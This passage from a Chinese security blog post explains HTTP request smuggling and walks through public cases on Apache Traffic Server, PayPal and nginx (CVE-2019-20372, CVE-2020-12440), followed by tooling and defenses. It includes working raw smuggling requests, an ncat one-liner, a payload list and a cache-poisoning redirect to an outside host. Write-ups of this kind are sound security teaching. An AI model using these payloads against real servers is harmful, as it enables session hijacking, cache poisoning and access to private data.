  • 在 Web 缓存投毒中,攻击者使应用程序将某些恶意内容存储在缓存中,并将该内容从缓存中提供给其他应用程序用户。
  • 在Web缓存欺骗中,攻击者使应用程序将一些属于另一个用户的敏感内容存储在缓存中,然后攻击者从缓存中检索该内容。

我们可以这么理解,我们发送如下 HTTP 请求:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked

0

GET /private/messages HTTP/1.1
Foo: X

该 Smugle 的请求会用Foo: X吃掉下一个发过来的请求头的第一行,也就是GET /xxx HTTP/1.1那一行,并且这个请求还会带着用户的 Cookie 去访问,类似于一个CSRF,该请求变成了以下请求头:

GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z

只要我们多发送几次,一旦用户访问的是静态资源,就可能会被 Front 服务器缓存起来,我们就可以拿到用户/private/messages的信息了。这里可能需要大量的重复发包,因为需要构造让静态资源缓存,还是需要一定运气的。

至此,HTTP Smuggling 的基本攻击面都已经介绍完毕了。总体来说,HTTP请求走私的随机性较强,需要的条件相对苛刻,测试的时候可能需要配合Intruder和Repeater重复发包。同时,其破坏用户正常请求,或者利用用户请求的攻击方式可以造成很大危害。

0x04 实际案例

4.1 ATS

Apache Traffic Server(ATS)是美国阿帕奇(Apache)软件基金会的一款高效、可扩展的HTTP代理和缓存服务器。

Apache ATS 6.0.0版本至6.2.2版本和7.0.0版本至7.1.3版本中存在安全漏洞。攻击者可利用该漏洞实施HTTP请求走私攻击或造成缓存中毒。

在美国国家信息安全漏洞库中,我们可以找到关于该漏洞的四个补丁,接下来我们详细看一下。

CVE-2018-8004 补丁列表

注:虽然漏洞通告中描述该漏洞影响范围到7.1.3版本,但从github上补丁归档的版本中看,在7.1.3版本中已经修复了大部分的漏洞。

关于这四个补丁的分析与复现我觉得 @mengchen 师傅已经写的非常详细了,我就不在赘述了,建议看原文部分 HTTP走私攻击实例——CVE-2018-8004

4.2 Paypal

2019年分享 HTTP Smuggling 的作者在 Black Hat 上分享的 Paypal 漏洞实例:

4.2.1 对js文件进行投毒

smuggling

POST /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1 
Host: c.paypal.com
Content-Length: 61
Transfer-Encoding: chunked

0

GET /webstatic HTTP/1.1
Host: skeletonscribe.net?
X: X

request a js

GET /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1 
Host: c.paypal.com
Connection: close

完整请求如下,重定向到恶意js,进行投毒

GET /webstatic HTTP/1.1
Host: skeletonscribe.net?
X: XGET /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1
Host: c.paypal.com
Connection: close

response

HTTP/1.1 302 Found
Location: http://skeletonscribe.net?, c.paypal.com/webstatic/

4.2.2 绕过CSP策略

但是 Paypal 登录页面有 CSP 规则 script-src 限制了这个跳转。

后来作者发现该页面还有一个动态生成的 iframe 引入了 c.paypal.com ,且该子页面没有 CSP 而且还引入了作者投毒的 js 文件!虽然这样可以控制 iframe 页面,但是由于同源策略,是读不到父页面的数据的。

再接着作者的同事在 paypal.com/us/gifts 发现了一个不使用 CSP 的页面,并且也导入了作者投毒的 js 文件,这样作者终于通过 js 将 c.paypal.com 的 iframe 重定向到了 paypal.com/us/gifts ,这样就同源了,也就可以读取父页面的数据了。

4.2.3 修复与绕过

Paypal 第一次修复是将 Akamai 配置修改成拒绝含有 Transfer-Encoding: chunked 的请求,但是后来又被作者构造了一个换行的 header 绕过了:

Transfer-Encoding:
chunked

0x05 nginx两个请求走私漏洞

5.1 (CVE-2019-20372)Nginx error_page 请求走私漏洞

参考链接

Nginx 1.17.7之前版本中 error_page 存在安全漏洞。攻击者可利用该漏洞读取未授权的Web页面。

错误配置

server {
listen 80;
server_name localhost;
error_page 401 http://example.org;
location / {
return 401;
}
}
server {
listen 80;
server_name notlocalhost;
location /_hidden/index.html {
return 200 'This should be hidden!';
}
}

这时候我们可以向服务器发送以下请求

GET /a HTTP/1.1
Host: localhost
Content-Length: 56
GET /_hidden/index.html HTTP/1.1
Host: notlocalhost

我们看一下服务器是怎么处理的

printf "GET /a HTTP/1.1\r\nHost: localhost\r\nContent-Length: 56\r\n\r\nGET
/_hidden/index.html HTTP/1.1\r\nHost: notlocalhost\r\n\r\n" | ncat localhost 80 --noshutdown

等于说是吧两个请求都间接的执行了,我们看一下burp里面的返回值

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.17.6
Date: Fri, 06 Dec 2019 18:23:33 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http://example.org
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.17.6</center>
</body>
</html>
HTTP/1.1 200 OK
Server: nginx/1.17.6
Date: Fri, 06 Dec 2019 18:23:33 GMT
Content-Type: text/html
Content-Length: 22
Connection: keep-alive
This should be hidden!

再一下nginx服务器里面的日志

172.17.0.1 - - [06/Dec/2019:18:23:33 +0000] "GET /a HTTP/1.1" 302 145 "-" "-" "-"
172.17.0.1 - - [06/Dec/2019:18:23:33 +0000] "GET /_hidden/index.html HTTP/1.1" 200 22 "-"

5.2 (CVE-2020-12440)Nginx <= 1.8.0 请求走私

Nginx<=1.18.0及之前版本中存在安全漏洞。攻击者可利用该漏洞进行缓存投毒,劫持凭证或绕过安全保护。

没有什么特别的配置
CL!=0的情况
利用方面只需要注意计算好CL即可。可以发现这里的两个请求都进行了处理

GET /hello.html HTTP/1.1
Host: 172.16.40.146
Content-Length: 2


GET /test.html HTTP/1.1
Host: 172.16.40.146
Content-Length: 2

CL!=0

其他payload:

GET / HTTP/1.1
Host: www.0-sec.org
Content-Length: 4
Transfer-Encoding : chunked

46
GET /404 HTTP/1.1
Host:www.0-sec.org
Content-Length:15

kk
0s

0x06 Tools&Check

PortSwigger开发了一个开源burp插件,用于检测http请求走私漏洞:
HTTP Request Smuggler
可以直接在BApp中安装,也可以在github中看到源码和编译之后的jar包,其功能主要是针对一个请求,自动化的对其可能存在HTTP请求走私,进行测试,右键Launch Smuggle probe可以选择很多的payload:
smuggler-payload

我们还是一个lab为例:
https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

需要设置Content-LengthTransfer-Encoding: chunked
右键选择Smuggle Attack(CL-TE),Attack进行攻击,也可以进行脚本修改和选择不同的攻击脚本

可以看到不同结果,说明存在HTTP请求走私:

0x07 防御策略

从前面的大量案例中,我们已经知道了HTTP请求走私的危害性,那么该如何防御呢?不针对特定的服务器,通用的防御措施大概有三种。

  • 禁用代理服务器与后端服务器之间的TCP连接重用。
  • 使用HTTP/2协议。
  • 前后端使用相同的服务器。

以上的措施有的不能从根本上解决问题,而且有着很多不足,就比如禁用代理服务器和后端服务器之间的TCP连接重用,会增大后端服务器的压力。使用HTTP/2在现在的网络条件下根本无法推广使用,哪怕支持HTTP/2协议的服务器也会兼容HTTP/1.1。从本质上来说,HTTP请求走私出现的原因并不是协议设计的问题,而是不同服务器实现的问题,个人认为最好的解决方案就是严格的实现RFC7230-7235中所规定的的标准,但这也是最难做到的。

然而我参考了比较多的攻击文章,均没有提到为什么 HTTP/2 可以防范 HTTP Smuggling ,原作者也是一句话带过:

Use HTTP/2 for back-end connections, as this protocol prevents ambiguity about the boundaries between requests.

之后我去查询了一下 HTTP/2 与 HTTP/1.1 的差异,个人认为主要是 HTTP/2 中加入了 Request multiplexing over a single TCP connection ,也就是说使用 HTTP/2 可以使用单个 TCP 连接来进行请求资源,也就减少了 TCP 连接复用的可能性,即使能 Smuggle 也只能打自己;而且对于新的二进制分帧机制引入也对该种攻击做出了限制。

具体可以参考 HTTP/2 简介

0xFF reference

  1. 视频-HTTP Desync Attacks: Smashing into the Cell Next Door-James Kettle在blackHat上分享的如何通过TE扩大HTTP走私攻击的攻击面,并给出了一些实际案例,是paper2和paper3的基础
  2. 协议层的攻击——HTTP请求走私-原理解释的比较清楚
  3. 一篇文章带你读懂 HTTP Smuggling 攻击-对paper2做了补充,增加一些实际攻击案例
  4. PDF-HTTP Desync Attacks: Smashing into the Cell Next Door-vedio1的pdf版本
  5. portswigger-HTTP request smuggling
  6. Regilero关于Smuggling的文章
  7. 知乎-HTTP协议几个版本的比较
  8. RFC文档
  9. CVE-2019-20372
  10. CVE-2020-12440
文章作者: V0WKeep3r
文章链接: http://v0w.top/2020/12/20/HTTPsmuggling/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 V0W's Blog
支付宝打赏
微信打赏